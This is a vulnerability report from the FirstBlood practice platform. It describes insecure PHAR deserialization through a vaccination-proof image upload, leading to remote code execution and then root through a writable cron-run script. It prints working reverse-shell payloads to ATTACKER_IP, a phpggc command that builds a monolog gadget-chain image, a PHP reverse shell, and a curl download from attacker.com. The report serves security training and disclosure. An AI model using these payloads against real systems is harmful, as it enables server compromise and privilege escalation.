FirstBlood-#867 — Insecure Deserialization leading to Remote Code Execution
This issue was discovered on FirstBlood v2 (issues patched)
On 2021-10-29, c3phas reported:
Hi, I found an Insecure Deserialization on https://322fa7abe468-c3phas.a.firstbloodhackers.com/ on the /vaccination-manager/pub/submit-vaccination-proof.php leading to remote code execution on the server
Insecure deserialization is when user-controllable data is deserialized by a website. This potentially enables an attacker to manipulate serialized objects in order to pass harmful data into the application code.
With this I was able to read files on the server and could even run system commands on the remote server.
The site offers a functionality to upload our proof of vaccination and this feature expects to receive an image file.
I was able to to pass serialized data disguised as an image . If a user passes a phar file(PHP Archive), the server will deserialize the data and it's this part that led to the RCE. A Phar files contains meta data in serialized format.
If you perform any filesystem operations on a phar:// stream, this metadata is implicitly deserialized
Now since the website only allows for images to be uploaded i decided to look for a bypass . If you are able to create a polyglot file, with a PHAR masquerading as a simple JPG, you can sometimes bypass the website's validation checks. If you can then force the website to load this polyglot "JPG" from a phar:// stream, any harmful data you inject via the PHAR metadata will be deserialized.
We could serialize a system command that allows for a reverse shell to be sent to the attackers controlled server and disguise it as an image.
We then try to load the image(polyglot) from a phar:// stream.
On the attackers server set a netcat listener that the victim will attempt to connect to.
nc -lvp 4444
Now to get a reverse shell, i used the following payload on the client to contact the server
bash -c 'exec bash -i &>/dev/tcp/ATTACKER_IP/PORT<&1'
When the above payload is called from a client , it will attempt to connect to the server
<IP> and <PORT>
I used phpggc to generate the payload https://github.com/ambionics/phpggc and used the following command to generate the image that was used as a proof of concept.
phpggc -pj ~/Downloads/dogi.jpeg -o ~/Desktop/exploit.jpg monolog/rce1 system "bash -c 'exec bash -i &>/dev/tcp/ATTACKER_IP/4444 <&1'"
On the above POC we are setting the image we want to add the serialized metadata, amd set the output filename , server's ip and the port our server will be listening on. We then instruct the command on which command we wish to run when the data is deserialized on the client (in our case send a reverse shell to attackers server)
Steps to reproduce
- Navigate to the site to upload the generated image at https://322fa7abe468-c3phas.a.firstbloodhackers.com/vaccination-manager/pub/upload-vaccination-proof.php.
With burpsuite intercepting the request, fill in your email and select the image created using the poc above and click on upload.
Forward the request until you get to the GET request to the /api/checkproof.php endpoint.
Send this request to repeater and modify the url (add phar:///) protocol as shown below.
- On the attackers machine/server create a netcat listener that will listen for any incoming connections at port 4444 as shown below
nc -lvp 4444
- Head over to burp on the repeater tab and click on send the request to send the modified request
- Now check the netcat listener and notice we have a shell and can execute code on this server.
An attacker can execute system commands on the server.
After further tests I was able to escalate my privileges to root. A few exploration led me to crontab file that was running as root. The file was executing two different files firstblood.sh and scheduler.php.
I realized I could write to the file Scheduler.php
So I hosted a file that contained a php reverse shell on my own server then used curl to download the file on the client machine (your server)
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKING_IP/PORT 0>&1'");?>
To download the file to the victim machine use the following curl command.
curl http://attacker.com/sc.html -o scheduler.php
The file will download the file hosted on the attackers machine(the reverse shell ) and replace the existing scheduler.php file
On the attackers server , have a netcat listener that will listen on the given port
nc -lvp 5555
Once the file is upload all we have is wait and observe our listener as the crontab file runs every min
After some seconds we get a connection on our server.
root With root privileges I could literally do anything i wish on this server
This report contains multiple vulnerabilities:
FirstBlood ID: 34
Vulnerability Type: Deserialization
This endpoint calls filesize() on the path provided in the 'proof' param with no filtering or sanitisation. By adding the phar:// stream handler to the path, an attacker can force a previously uploaded file to be sent through deserialisation. Coupled with the fact that a gadget-chain vulnerable version of monolog is being used, this allows for RCE.
FirstBlood ID: 35
Vulnerability Type: RCE
A cronjob is set to execute the file /app/firstblood/scheduler.php every minute under the root user. This file is writable by the firstblood php pool user (fb-exec). The [checkproof bug] can be combined with this to obtain root privileges.